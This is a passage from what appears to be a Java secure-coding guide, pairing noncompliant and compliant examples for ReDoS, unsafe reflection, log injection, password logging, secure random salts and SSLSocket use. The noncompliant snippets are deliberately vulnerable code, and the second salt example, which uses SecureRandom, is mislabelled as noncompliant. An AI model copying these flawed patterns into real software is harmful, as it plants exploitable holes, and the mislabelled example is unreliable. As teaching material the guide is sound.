1843public static void main(String[] args) {
1844    ...
1845    Matcher matcher = REGEX_PATTER.matcher(args[0]);
1846    if (matcher.matches()) {
1847        ...
1848    } else {
1849        ...
1850    }
1851    ...
1852}
1853```
1854
1855This compliant code example simplifies the regex into `a[bc]+d` without changing the function, eliminating the ReDoS risk.
1856
1857**\[Noncompliant Code Example]**
1858
1859```java
1860String key = request.getParameter("keyword");
1861...
1862String regex = "[a-zA-Z0-9_-]+@" + key + "\\.com";
1863Pattern searchPattern = Pattern.compile(regex);
1864...
1865```
1866
1867This noncompliant code example uses the keyword specified by an external input source to construct the regex. The ReDoS risk may occur when the keyword contains repetitive groups. Therefore, during code development, do not use external data directly as regexes or to construct regexes.
1868
1869## Do not use external data directly as the class or method name in the reflection operation
1870
1871**\[Description]**
1872
1873Using external data as the class or method name in the reflection operation can lead to an unexpected logic process, that is, unsafe reflection. This can be exploited by ill-intentioned users to bypass security checks or execute arbitrary code. If external data is required for reflection operations, the data must be validated against a class or method trustlist. Besides, the program could also allow users to select classes or methods in a given scope to protect reflection operations.
1874
1875**\[Noncompliant Code Example]**
1876
1877```java
1878String className = request.getParameter("class");
1879...
1880Class objClass = Class.forName(className);
1881BaseClass obj = (BaseClass) objClass.newInstance();
1882obj.doSomething();
1883```
1884
1885This noncompliant code example uses an external class name to directly construct an object through reflection. An ill-intentioned user can construct a malicious `BaseClass` subclass object, take control over a `BaseClass` subclass, and execute arbitrary code in the `doSomething()` method of the subclass. An ill-intentioned user can further use the code to execute the default constructor of any class. Even if a `ClassCastException` is thrown in class conversion, the code in the constructor is executed as expected by the ill-intentioned user.
1886
1887**\[Compliant Code Example]**
1888
1889```java
1890String classIndex = request.getParameter("classIndex");
1891String className = (String) reflectClassesMap.get(classIndex);
1892if (className != null) {
1893    Class objClass = Class.forName(className);
1894    BaseClass obj = (BaseClass) objClass.newInstance();
1895    obj.doSomething();
1896} else {
1897    throw new IllegalStateException("Invalid reflect class!");
1898}
1899...
1900```
1901
1902In this compliant code example, an external user can only specify the class index. If this class index can be mapped to a class name, the reflection operation is performed; if not, the program considers it invalid.
1903
1904# Log Auditing
1905
1906#### Do not log external data
1907
1908**\[Description]**
1909
1910Recording external data into logs may incur the following risks:
1911
1912- Log injection: Ill-intentioned users can use characters such as carriage returns and line feeds to inject a complete log.
1913- Leak of sensitive information: Recording user-supplied sensitive information into logs may leak the sensitive information.
1914- Junk log or log overwriting: If a user enters very long strings, a large number of junk logs may be generated. If logs are cyclically overwritten, valid logs may be maliciously overwritten.
1915
1916Therefore, do not record external data in logs. If external data must be logged, validate and sanitize the external data and truncate long strings. Before being recorded in logs, sensitive data such as keys and passwords must be masked with a fixed number of asterisks (\*), and other sensitive data, such as mobile numbers and email addresses, need to be anonymized.
1917
1918**\[Noncompliant Code Example]**
1919
1920```java
1921String jsonData = getRequestBodyData(request);
1922if (!validateRequestData(jsonData)) {
1923    LOG.error("Request data validate fail! Request Data : " + jsonData);
1924}
1925```
1926
1927In this noncompliant code example, the requested JSON data will be directly logged when the validation fails. Sensitive data, if any, in the JSON string may be leaked. An ill-intentioned user can use carriage returns and line feeds to inject a crafted log into the JSON string. A long JSON string can lead to redundant logs.
1928
1929**\[Compliant Code Example]**
1930
1931Newline characters, such as **\\r\\n** in external data, could be replaced before being recorded in logs to prevent log injection. The following code example shows a compliant implementation:
1932
1933```java
1934public String replaceCRLF(String message) {
1935    if (message == null) {
1936        return "";
1937    }
1938    return message.replace('\n', '_').replace('\r', '_');
1939}
1940```
1941
1942#### Do not log sensitive information such as passwords and keys
1943
1944**\[Description]**
1945
1946Sensitive data, such as passwords and keys as well as their ciphertext forms, shall not be recorded in logs. Otherwise, the sensitive data may be leaked. If such data is absolutely needed in logs, replace it with a fixed number of asterisks (\*).
1947
1948**\[Noncompliant Code Example]**
1949
1950```java
1951private static final Logger LOGGER = Logger.getLogger(TestCase1.class);
1952...
1953LOGGER.info("Login success, user is " + userName + ", password is " +
1954    encrypt(pwd.getBytes(StandardCharsets.UTF_8)));
1955```
1956
1957**\[Compliant Code Example]**
1958
1959```java
1960private static final Logger LOGGER = Logger.getLogger(TestCase1.class);
1961...
1962LOGGER.info("Login success, user is " + userName + ", password is ********.");
1963```
1964
1965# Performance and Resource Management
1966
1967#### Release resources in **try-with-resource** or **finally** during I/O operations
1968
1969**\[Description]**
1970
1971Resources need to be released in a timely manner when they are no longer needed. However, when exceptions occur, resource release is often ignored. This requires explicitly use of `close()` or another method in the **finally** block of the **try-catch-finally** structure to release resources during database and I/O operations. If multiple I/O objects need to be released using `close()`, each `close()` invocation must be done in a separate **try-catch** structure, so as to prevent a release failure of one I/O object from affecting the release of other I/O objects.
1972
1973Java 7 provides the automatic resource management feature **try-with-resource**. It takes precedence over **try-finally**, so the resulting code is more concise and clear, and the resulting exceptions are more valuable. Especially for multiple resources or exceptions, **try-finally** may lose the previous exception, while **try-with-resource** retains the first exception and treats subsequent exceptions as suppressed exceptions, which can be checked based on the array returned by `getSuppressed()`.
1974
1975**try-finally** is also used in scenarios such as `lock()` and `unlock()`.
1976
1977**\[Compliant Code Example]**
1978
1979```java
1980try (FileInputStream in = new FileInputStream(inputFileName);
1981    FileOutputStream out = new FileOutputStream(outputFileName)) {
1982    copy(in, out);
1983}
1984```
1985
1986# Miscellaneous
1987
1988#### Use cryptographically secure random numbers in security scenarios
1989
1990**\[Description]**
1991
1992Insecure random numbers may be partially or entirely predicted, causing security risks in the system. Therefore, cryptographically secure random numbers must be used in security scenarios. Cryptographic secure random numbers fall into two types:
1993
1994- Random numbers generated by true random number generators (TRNGs).
1995- Random numbers generated by pseudo random number generators (PRNGs) which use the few random numbers generated by TRNGs as seeds
1996
1997In Java, `SecureRandom` is a cryptographically secure PRNG. When using PRNGs to generate random numbers, make sure to use true random numbers as seeds.
1998
1999Common security scenarios include:
2000
2001- Generation of IVs, salts, keys, etc. for cryptographic algorithm purposes
2002- Generation of session IDs
2003- Generation of random numbers in the challenge algorithm
2004- Generation of random numbers of verification codes
2005
2006**\[Noncompliant Code Example]**
2007
2008```java
2009public byte[] generateSalt() {
2010    byte[] salt = new byte[8];
2011    Random random = new Random(123456L);
2012    random.nextBytes(salt);
2013    return salt;
2014}
2015```
2016
2017`Random` only generates insecure random numbers, which cannot be used as salts.
2018
2019**\[Noncompliant Code Example]**
2020
2021```java
2022public byte[] generateSalt() {
2023    byte[] salt = new byte[8];
2024    SecureRandom random = new SecureRandom();
2025    random.nextBytes(salt);
2026    return salt;
2027}
2028```
2029
2030#### Use SSLSocket, but not Socket, for secure data exchange
2031
2032**\[Description]**
2033
2034Programs must use SSLSocket, but not Socket, for network communications involving cleartext sensitive information. Socket provides cleartext communication wherein the sensitive data may be intercepted by attackers, so that the attackers can launch man-in-the-middle attacks to tamper with packets. SSLSocket provides security protection on the basis of Socket, such as identity authentication, data encryption, and integrity protection.
2035
2036**\[Noncompliant Code Example]**
2037
2038```java
2039try {
2040    Socket socket = new Socket();
2041    socket.connect(new InetSocketAddress(ip, port), 10000);
2042    os = socket.getOutputStream();
2043    os.write(userInfo.getBytes(StandardCharsets.UTF_8));
2044    ...
2045} catch (IOException ex) {
2046    //Handle the exception
2047} finally {
2048    //Close the stream
2049}
2050```
2051
2052This noncompliant code example uses Socket to transfer cleartext packets. Sensitive information, if any, in the packets may be leaked or tampered with.
2053
2054**\[Compliant Code Example]**
2055
2056```java
2057try {
2058    SSLSocketFactory sslSocketFactory =
2059        (SSLSocketFactory) SSLSocketFactory.getDefault();
2060    SSLSocket sslSocket = (SSLSocket) sslSocketFactory.createSocket(ip, port);
2061    os = sslSocket.getOutputStream();
2062    os.write(userInfo.getBytes(StandardCharsets.UTF_8));
2063    ...
2064} catch (IOException ex) {
2065    //Handle the exception
2066} finally {
2067    //Close the stream
2068}
2069```
2070
2071This compliant code example uses SSLSocket to protect packets using SSL/TLS.
2072
2073**\[Exception]**
2074
2075The mechanisms that SSLSocket provides to ensure the secure transfer of packets may result in significant performance overhead. Regular sockets are sufficient under the following circumstances:
2076
2077- The data being sent over the socket is not sensitive.
2078- The data is sensitive but properly encrypted.
2079
2080#### Avoid public network addresses in code
2081
2082
2083
2084**\[Description]**
2085
2086Providing public network addresses that are invisible and unknown to users in code or scripts can raise doubts among customers.
2087
2088Public network addresses (including public IP addresses, public URLs/domain names, and email addresses) contained in the released software (including software packages and patch packages) must meet the following requirements:
20891\. Avoid public network addresses that are invisible on UIs or not disclosed in product documentation.
20902\. Do not write disclosed public IP addresses in code or scripts. They can be stored in configuration files or databases.
2091
2092The public IP addresses built in open-source or third-party software must meet the first requirement.
2093
2094**\[Exception]**
2095
2096This requirement is not mandatory when public network addresses must be specified as required by standard protocols. For example, an assembled public network URL must be specified for the namespace of functions based on the SOAP protocol. W3.org addresses on HTTP pages and feature names in XML parsers are also exceptions.